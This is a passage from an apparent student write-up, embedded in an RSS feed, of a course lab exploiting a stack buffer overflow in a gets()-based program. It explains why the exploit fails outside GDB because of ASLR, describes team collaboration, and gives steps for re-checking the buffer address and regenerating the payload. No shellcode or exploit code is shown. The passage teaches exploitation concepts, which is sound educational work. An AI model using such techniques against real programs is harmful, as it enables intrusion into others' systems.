&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8539ghhjoq9o0lyl9xi6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8539ghhjoq9o0lyl9xi6.png" alt=" " width="704" height="605"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  ASLR Behavior Outside GDB
&lt;/h2&gt;

&lt;p&gt;Although the exploit worked reliably inside GDB, running the program normally produced different results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./vuln &amp;lt; egg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of exiting with code &lt;code&gt;1&lt;/code&gt;, the program terminated with &lt;strong&gt;exit code 139&lt;/strong&gt;, indicating a &lt;strong&gt;segmentation fault&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This behavior occurs because &lt;strong&gt;Address Space Layout Randomization (ASLR)&lt;/strong&gt; remains enabled outside GDB. ASLR randomizes memory addresses, including stack locations, each time a program runs.&lt;/p&gt;

&lt;p&gt;When debugging in GDB, ASLR is typically disabled, which keeps stack addresses consistent between runs. This stability allows the exploit’s hardcoded return address to reliably point to the shellcode.&lt;/p&gt;

&lt;p&gt;Outside the debugger, however, the buffer’s address changes on every execution. As a result, the return address in the payload often points to an invalid location, causing the program to crash instead of executing the shellcode.&lt;/p&gt;

&lt;h2&gt;
  
  
  Team Collaboration
&lt;/h2&gt;

&lt;p&gt;The group collaborated on this machine problem using a shared GitHub repository. Source files—including &lt;code&gt;vuln.c&lt;/code&gt;, &lt;code&gt;exploit.py&lt;/code&gt;, and the generated &lt;code&gt;egg&lt;/code&gt; file—were committed and pushed to the repository so that all members could access the latest version of the exploit and test it on their own systems.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This machine problem demonstrated how a single unsafe function call—&lt;code&gt;gets()&lt;/code&gt;—can expose a program to severe security vulnerabilities. By exploiting a stack-based buffer overflow, it was possible to overwrite a function’s return address and redirect execution to custom shellcode.&lt;/p&gt;

&lt;p&gt;Through this process, the group successfully forced the program to terminate with exit code &lt;strong&gt;1&lt;/strong&gt;, despite the program’s infinite loop. The exercise reinforced several key concepts in systems security, including stack memory layout, x86 calling conventions, Linux system calls, and the mechanics of constructing binary exploitation payloads.&lt;/p&gt;

&lt;h2&gt;
  
  
  Notes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The buffer address may vary across different environments. If running the program on another system or outside GDB, the address should be rechecked using:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;print&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;After updating the address in &lt;code&gt;exploit.py&lt;/code&gt;, regenerate the payload by running:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 exploit.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>bufferoverflow</category>
      <category>binaryexploitation</category>
      <category>stackoverflowexploit</category>
    </item>
  </channel>
</rss>
